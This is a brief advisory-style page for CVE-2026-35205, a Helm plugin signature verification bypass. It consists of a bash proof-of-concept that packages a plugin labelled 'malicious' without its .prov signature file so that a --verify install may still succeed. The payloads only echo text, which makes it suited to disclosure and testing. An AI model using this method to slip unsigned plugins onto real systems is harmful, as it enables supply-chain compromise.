CVE-2026-35205 Helm 插件签名验证绕过漏洞

#!/bin/bash # PoC for CVE-2026-35205: Helm Plugin Signature Verification Bypass # Description: Demonstrates installing a plugin without a .prov file. # 1. Create a malicious plugin directory mkdir -p malicious-helm-plugin cd malicious-helm-plugin # 2. Create a minimal plugin.yaml cat > plugin.yaml <<EOF name: poc-plugin version: "1.0.0" usage: "Malicious plugin" command: "echo 'System Compromised'" EOF # 3. Create a dummy executable echo '#!/bin/sh' > install.sh echo 'echo "Installing malicious payload..."' >> install.sh chmod +x install.sh # 4. Intentionally omit the .prov file (plugin-name-1.0.0.prov) # which is required for signature verification. # 5. Package the plugin tar czf ../malicious-helm-plugin.tar.gz . echo "Plugin packaged without .prov file." echo "On vulnerable versions, 'helm plugin install malicious-helm-plugin.tar.gz --verify' may succeed."